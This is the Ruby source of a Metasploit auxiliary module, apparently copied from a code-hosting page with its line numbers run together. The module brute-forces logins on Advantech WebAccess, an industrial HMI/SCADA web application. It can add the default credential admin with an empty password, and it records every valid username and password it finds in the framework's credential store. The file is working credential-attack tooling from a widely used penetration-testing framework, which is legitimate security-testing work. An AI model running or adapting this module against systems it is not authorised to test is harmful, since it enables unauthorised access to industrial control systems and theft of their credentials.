Path: blob/master/modules/auxiliary/scanner/http/advantech_webaccess_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/login_scanner/advantech_webaccess'6require 'metasploit/framework/credential_collection'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Advantech WebAccess Login',19'Description' => %q{20This module will attempt to authenticate to Advantech WebAccess.21},22'Author' => [ 'sinn3r' ],23'License' => MSF_LICENSE,24'DefaultOptions' => {25'RPORT' => 8026},27'Notes' => {28'Reliability' => UNKNOWN_RELIABILITY,29'Stability' => UNKNOWN_STABILITY,30'SideEffects' => UNKNOWN_SIDE_EFFECTS31}32)33)3435register_options(36[37OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),38OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:[empty]', false])39]40)41end4243def scanner(ip)44@scanner ||= lambda {45cred_collection = build_credential_collection(46username: datastore['USERNAME'],47password: datastore['PASSWORD']48)4950if datastore['TRYDEFAULT']51print_status("Default credential admin:[empty] added to the credential queue for testing.")52cred_collection.add_public('admin')53cred_collection.add_private('')54end5556return Metasploit::Framework::LoginScanner::AdvantechWebAccess.new(57configure_http_login_scanner(58host: ip,59port: datastore['RPORT'],60cred_details: cred_collection,61stop_on_success: datastore['STOP_ON_SUCCESS'],62bruteforce_speed: datastore['BRUTEFORCE_SPEED'],63connection_timeout: 5,64http_username: datastore['HttpUsername'],65http_password: datastore['HttpPassword'],66uri: target_uri.path67)68)69}.call70end7172def report_good_cred(ip, port, result)73service_data = {74address: ip,75port: port,76service_name: 'http',77protocol: 'tcp',78workspace_id: myworkspace_id79}8081credential_data = {82module_fullname: self.fullname,83origin_type: :service,84private_data: result.credential.private,85private_type: :password,86username: result.credential.public,87}.merge(service_data)8889login_data = {90core: create_credential(credential_data),91last_attempted_at: DateTime.now,92status: result.status,93proof: result.proof94}.merge(service_data)9596create_credential_login(login_data)97end9899def report_bad_cred(ip, rport, result)100invalidate_login(101address: ip,102port: rport,103protocol: 'tcp',104public: result.credential.public,105private: result.credential.private,106realm_key: result.credential.realm_key,107realm_value: result.credential.realm,108status: result.status,109proof: result.proof110)111end112113def bruteforce(ip)114scanner(ip).scan! do |result|115case result.status116when Metasploit::Model::Login::Status::SUCCESSFUL117print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")118report_good_cred(ip, rport, result)119when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT120vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)121report_bad_cred(ip, rport, result)122when Metasploit::Model::Login::Status::INCORRECT123vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")124report_bad_cred(ip, rport, result)125end126end127end128129def run_host(ip)130unless scanner(ip).check_setup131print_brute(:level => :error, :ip => ip, :msg => 'Target is not Advantech WebAccess')132return133end134135bruteforce(ip)136end137end138139140